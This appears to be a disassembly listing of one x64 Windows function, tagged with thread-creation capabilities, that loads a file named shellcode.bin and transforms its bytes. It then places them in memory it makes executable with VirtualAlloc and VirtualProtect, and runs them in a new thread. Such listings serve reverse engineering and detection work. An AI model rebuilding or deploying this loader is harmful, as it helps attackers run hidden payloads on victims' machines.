Function at 0x1400116d1
Capabilities:
Create thread
Terminate thread

Disassembly:
jmp 0x140023e60
push rbp
push rsi
push rdi
sub rsp, 0x840
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x174
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031018]
xor rax, rbp
mov qword [rbp + 0x800], rax
lea rcx, [0x1400390f7]
call fcn.140011a0f
call fcn.140011b0e
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140023ee6
lea rdx, str.Error:_cannot_get_module_file_name.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400244d0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x138]
call fcn.14001146f
nop
mov r8, 0xffffffffffffffff
lea rdx, [0x14002b56c]
lea rcx, [rbp + 0x138]
call fcn.1400117a8
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0xffffffffffffffff
je 0x140023f65
mov r9, qword [rbp + 0x178]
xor r8d, r8d
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x138]
call fcn.140011537
mov qword [rbp + 0x7f8], rax
mov rdx, qword [rbp + 0x7f8]
lea rcx, [rbp + 0x138]
call fcn.1400112d5
lea rcx, [rbp + 0x628]
call fcn.140011203
lea r8, str._shellcode.bin
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x198]
call fcn.1400117df
nop
mov edx, 0x110
lea rcx, [rbp + 0x1e0]
call fcn.1400116e0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x1e0]
call fcn.1400117b7
nop
mov rax, qword [rbp + 0x1e0]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x140024049
lea rdx, str.Error:_cant_open_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [rbp + 0x198]
mov rcx, rax
call fcn.1400118ed
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x664], 1
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x664]
jmp 0x1400244d0
mov edx, 0x20
lea rcx, [rbp + 0x308]
call fcn.14001109b
lea rcx, [rbp + 0x684]
call fcn.1400114b5
mov qword [rbp + 0x7f8], rax
lea rcx, [rbp + 0x6a8]
call fcn.140011776
lea rcx, [rbp + 0x7e0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x6d8]
call fcn.140011627
lea rcx, [rbp + 0x7b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x7f8]
mov r9, rax
lea r8, [rbp + 0x7e0]
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x308]
call fcn.1400118fc
nop
lea rcx, [rbp + 0x1e0]
call fcn.14001159b
lea rcx, [rbp + 0x308]
call fcn.140011b09
movzx eax, al
test eax, eax
je 0x140024163
lea rdx, str.Error:_shellcode.bin_is_empty.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x704], 1
lea rcx, [rbp + 0x308]
call fcn.140011325
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x704]
jmp 0x1400244d0
mov byte [rbp + 0x344], 0xaa
movzx edx, byte [rbp + 0x344]
lea rcx, [rbp + 0x308]
call fcn.14001161d
lea rcx, [rbp + 0x308]
call fcn.140011438
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0
jne 0x14002421c
lea rdx, str.Error:_cannot_allocate_memory_for_shellcode.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x724], 1
lea rcx, [rbp + 0x308]
call fcn.140011325
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x724]
jmp 0x1400244d0
lea rcx, [rbp + 0x308]
call fcn.140011438
mov qword [rbp + 0x7f8], rax
lea rcx, [rbp + 0x308]
call fcn.140011ad7
mov rcx, qword [rbp + 0x7f8]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x368]
call fcn.1400114ec
lea rcx, [rbp + 0x308]
call fcn.140011438
lea r9, [rbp + 0x384]
mov r8d, 0x20
mov rdx, rax
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140024305
lea rdx, str.Error:_cannot_change_memory_protection_to_execute.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x744], 1
lea rcx, [rbp + 0x308]
call fcn.140011325
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x744]
jmp 0x1400244d0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x368]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x1400243bf
lea rdx, str.Error:_cannot_create_thread_for_shellcode_execution.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x764], 1
lea rcx, [rbp + 0x308]
call fcn.140011325
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x764]
jmp 0x1400244d0
mov edx, 0x1388
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x3c4], eax
cmp dword [rbp + 0x3c4], 0x102
jne 0x14002441a
lea rdx, str.Error:_shellcode_execution_timed_out.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x14002446b
cmp dword [rbp + 0x3c4], 0xffffffff
jne 0x140024448
lea rdx, str.Error:_WaitForSingleObject_failed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14002446b
lea rdx, str.Shellcode_executed.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001114a
lea rdx, [0x140011073]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x784], 0
lea rcx, [rbp + 0x308]
call fcn.140011325
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400111bd
nop
lea rcx, [rbp + 0x198]
call fcn.140011203
nop
lea rcx, [rbp + 0x138]
call fcn.140011203
mov eax, dword [rbp + 0x784]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002a390]
call fcn.140011848
mov rax, rdi
mov rcx, qword [rbp + 0x800]
xor rcx, rbp
call fcn.1400114e2
lea rsp, [rbp + 0x810]
pop rdi
pop rsi
pop rbp
ret